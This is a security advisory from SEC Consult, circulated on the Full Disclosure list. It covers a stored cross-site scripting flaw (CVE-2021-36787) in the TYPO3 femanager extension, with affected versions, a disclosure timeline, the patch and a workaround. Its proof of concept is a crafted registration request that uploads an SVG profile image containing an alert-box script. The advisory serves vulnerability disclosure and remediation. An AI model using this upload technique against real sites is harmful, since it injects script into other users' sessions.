SEC Consult SA-20220117-0 :: Stored Cross-Site Scripting vulnerability in TYPO3 extension "femanager"

From: "SEC Consult Vulnerability Lab, Research" <security-research () sec-consult com>
Date: Mon, 17 Jan 2022 10:27:55 +0000

```
SEC Consult Vulnerability Lab Security Advisory < 20220117-0 >
=======================================================================
               title: Stored Cross-Site Scripting vulnerability
             product: TYPO3 extension "femanager"
  vulnerable version: 6.0.0 - 6.3.0 and 5.5.0 and below
       fixed version: 6.3.1 and 5.5.1
          CVE number: CVE-2021-36787
              impact: Medium
            homepage: https://www.in2code.de
                      https://extensions.typo3.org/extension/femanager
               found: 2021-06-01
                  by: Lukas Eder (Atos Germany)
                      SEC Consult Vulnerability Lab

                      An integrated part of SEC Consult, an Atos company
                      Europe | Asia | North America

                      https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"Femanager is an extension for a TYPO3 Frontend-User Registration.
Maybe you know sr_feuser_register but you want to use a more modern extension,
give femanager a try.
This extension basicly brings an easy-to-use frontend-user-registration with a
profile manager to your system. In addition femanager was developed to be
very flexible and to bring a lot of features out of the box."

Source: https://docs.typo3.org/p/in2code/femanager/master/en-us/Introduction/Index.html


Business recommendation:
------------------------
The vendor provides a patched version which should be installed immediately.


Vulnerability overview/description:
-----------------------------------
1) Stored Cross-Site Scripting (CVE-2021-36787)
The default configuration of the upload function within the registration workflow
of the femanager to create new frontend users allows an upload of various file types
as profile image.

An attacker can use the upload function in the registration process to upload
SVG files with embedded JavaScript code that is stored on the webserver.
Depending on the developed application, the malicious JavaScript code is
executed in the context of other users in various scenarios, e.g. when a user
visits the profile of the attacker's frontend user.


Proof of concept:
-----------------
1) Stored Cross-Site Scripting (CVE-2021-36787)
The vulnerability can be triggered if the extension's image upload function is
used.

The following proof of concept shows the crafted HTTP Request that was used to
create a user with embedded JavaScript code in the SVG file. This SVG file is
used as profile image, which leads to execution every time the image is rendered.

HTTP Request:
-------------------------------------------------------------------------------
POST /login/registrieren?tx_femanager_pi1%5Baction%5D=create&tx_femanager_pi1%5Bcontroller%5D=New&cHash=XXX HTTP/1.1
Host: <IP>
Content-Type: multipart/form-data; boundary=---------------------------222617292530868691744105633415
Connection: close

-----------------------------222617292530868691744105633415
Content-Disposition: form-data; name="tx_femanager_pi1[__referrer][@extension]"

Femanager
-----------------------------222617292530868691744105633415
Content-Disposition: form-data; name="tx_femanager_pi1[__referrer][@vendor]"

In2code

[...]

-----------------------------222617292530868691744105633415
Content-Disposition: form-data; name="tx_femanager_pi1[user][username]"

XXX
-----------------------------222617292530868691744105633415
Content-Disposition: form-data; name="tx_femanager_pi1[user][password]"

XXX
-----------------------------222617292530868691744105633415
Content-Disposition: form-data; name="tx_femanager_pi1[password_repeat]"

XXX

[...]

-----------------------------222617292530868691744105633415
Content-Disposition: form-data; name="tx_femanager_pi1[user][image][0]"; filename="xss_file.svg"
Content-Type: image/svg+xml

<svg xmlns="http://www.w3.org/2000/svg";>
     <script>alert("XSS WORKS")</script>
</svg>

-----------------------------222617292530868691744105633415
-------------------------------------------------------------------------------


Tested versions:
----------------------------
The following version has been tested:
* femanager: 5.4.2 (TYPO3: 9.5.27)
```

The vendor confirmed that the following versions are also affected by the vulnerability:
* femanager: 6.0.0 - 6.3.0 and 5.5.0 and below

Vendor contact timeline:

2021-07-05: Contacting vendor through security () typo3 org.
2021-07-06: Received information from vendor that they will work on a solution.
2021-08-10: Received info from vendor about a released Typo3 Security Advisory that covers
            the vulnerability. The advisory also covers the updated versions of the
            extensions that should be used.
2022-01-17: Release of security advisory.

Solution:

The vendor provides a patched version which should be installed immediately.

Further information can be found at the Typo3 security advisory:
https://typo3.org/security/advisory/typo3-ext-sa-2021-010

Workaround:

The upload of SVG files could be disabled. This can be accomplished by adjusting the
configuration file of the femanager extension. If SVG files are necessary for the functions
of the website, it must be ensured that malicious code within these files, e.g. in the form
of JavaScript, is not executed.

Advisory URL:
----
https://sec-consult.com/vulnerability-lab/

~~~~~~

SEC Consult Vulnerability Lab

SEC Consult, an Atos company
Europe | Asia | North America

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos company. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.

~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://sec-consult.com/career/

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://sec-consult.com/contact/
~~~~~~

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF Lukas Eder / @2022

_____
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

By Date By Thread

Current thread:

SEC Consult SA-20220117-0 :: Stored Cross-Site Scripting vulnerability in TYPO3 extension "femanager" ***SEC Consult Vulnerability Lab, Research (Jan 24)***

Site Search

Nmap Security Scanner
Ref Guide
Install Guide
Docs
Download
Nmap OEM

Npcap packet capture
User's Guide
API docs
Download
Npcap OEM

Security Lists
Nmap Announce
Nmap Dev
Full Disclosure
Open Source Security
BreachExchange

Security Tools
Vuln scanners
Password audit
Web scanners
Wireless
Exploitation

About
About/Contact
Privacy
Advertising
Nmap Public Source License
~~~~~~